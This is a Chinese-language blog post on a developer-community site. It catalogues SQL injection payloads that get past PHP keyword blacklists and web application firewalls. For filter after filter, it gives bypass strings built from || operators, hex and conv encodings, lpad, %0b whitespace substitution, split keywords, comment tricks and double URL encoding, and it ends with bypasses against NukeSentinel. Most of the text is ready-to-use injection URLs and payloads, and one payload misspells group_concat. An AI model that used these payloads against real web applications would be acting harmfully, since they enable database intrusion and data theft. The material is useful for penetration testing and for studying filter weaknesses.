前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PHP_Mysql注入防护与绕过

PHP_Mysql注入防护与绕过

作者头像
用户7657330
发布2020-08-14 15:06:11
8390
发布2020-08-14 15:06:11
举报
文章被收录于专栏:程序生涯程序生涯

黑名单关键字过滤与绕过

过滤关键字and、or

PHP匹配函数代码如下:

preg_match('/(and|or)/i', $id)

如何Bypass,过滤注入测试语句:

1 or 1 = 1 1 and 1 = 1

测试方法可以替换为如下语句测试:

1 || 1 = 1 1 && 1 = 1

过滤关键字and, or, union

PHP匹配函数代码如下:

preg_match('/(and|or|union)/i', $id)

如何Bypass,过滤注入测试语句:

union select user, password from users

测试方法可以替换为如下语句测试:

1 || (select user from users where user_id = 1) = 'admin'

过滤关键字and, or, union,where

PHP匹配函数代码如下:

preg_match('/(and|or|union|where)/i', $id)

如何Bypass,过滤注入测试语句:

1 || (select user from users where user_id = 1) = 'admin'

测试方法可以替换为如下语句测试:

1 || (select user from users limit 1) = 'admin'

过滤关键字and, or, union,where,limit

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit)/i', $id)

如何Bypass,过滤注入测试语句:

1 || (select user from users limit 1) = 'admin'

测试方法可以替换为如下语句测试:

1 || (select user from users group by user_id having user_id = 1) = 'admin'

过滤关键字and, or, union,where,limit,group by

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by)/i', $id)

如何Bypass,过滤注入测试语句:

1 || (select user from users group by user_id having user_id = 1) = 'admin'

测试方法可以替换为如下语句测试:

1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1

过滤关键字and, or, union,where,limit,group by

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by)/i', $id)

如何Bypass,过滤注入测试语句:

1 || (select user from users group by user_id having user_id = 1) = 'admin'

测试方法可以替换为如下语句测试:

1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1

过滤关键字and, or, union,where,limit,group by,select

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by|select)/i', $id)

如何Bypass,过滤注入测试语句:

1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1

测试方法可以替换为如下语句测试:

1 || 1 = 1 into outfile 'result.txt'

1 || substr(user,1,1) = 'a'

过滤关键字and, or, union,where,limit,group by,select,'

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)

如何Bypass,过滤注入测试语句:

1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1

测试方法可以替换为如下语句测试:

1 || user_id is not null

1 || substr(user,1,1) = 0x61

1 || substr(user,1,1) = unhex(61)

过滤关键字and, or, union,where,limit,group by,select,',hex

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)

如何Bypass,过滤注入测试语句:

1 || substr(user,1,1) = unhex(61)

测试方法可以替换为如下语句测试:

1 || substr(user,1,1) = lower(conv(11,10,36))

过滤关键字and, or, union,where,limit,group by,select,',hex,substr

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)

如何Bypass,过滤注入测试语句:

1 || substr(user,1,1) = lower(conv(11,10,36))

测试方法可以替换为如下语句测试:

1 || lpad(user,7,1)

过滤关键字and, or, union,where,limit,group by,select,',hex, substr, white space

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)

如何Bypass,过滤注入测试语句:

1 || lpad(user,7,1)

测试方法可以替换为如下语句测试:

1%0b||%0blpad(user,7,1)

部分WAF绕过技巧

1、绕过部分WAF

/news.php?id=1+un/**/ion+se/\**/lect+1,2,3--

2、匹配正则如下:

/union\sselect/g

绕过方式:

/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--

3、过滤一次关键字

/news.php?id=1+UNunionION+SEselectLECT+1,2,3--

4、关键字被过滤,有的时候可以用%0b插入关键字绕过

/news.php?id=1+uni%0bon+se%0blect+1,2,3--

5、对于Mod_rewrite的作用使得/**/不起作用时可以使用%0b代替

替换前:

/main/news/id/1//||//lpad(first_name,7,1).html

替换后:

/main/news/id/1%0b||%0blpad(first_name,7,1).html

6、大多数的CMS和WAF会对用户输入进行解码然后过滤,但有些只解码一次,我们可以对payload进行多次编码然后测试

/news.php?id=1%252f%252a*/union%252f%252a /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--

真实的例子

NukeSentinel

Nukesentinel.php的代码如下:

针对上面的防护,使用如下测试语句将被拦截:

/php-nuke/?/**/union/**/select…

可以使用如下语句代替:

/php-nuke/?/%2A%2A/union/%2A%2A/select…

/php-nuke/?%2f**%2funion%2f**%2fselect…

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2019-03-15 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档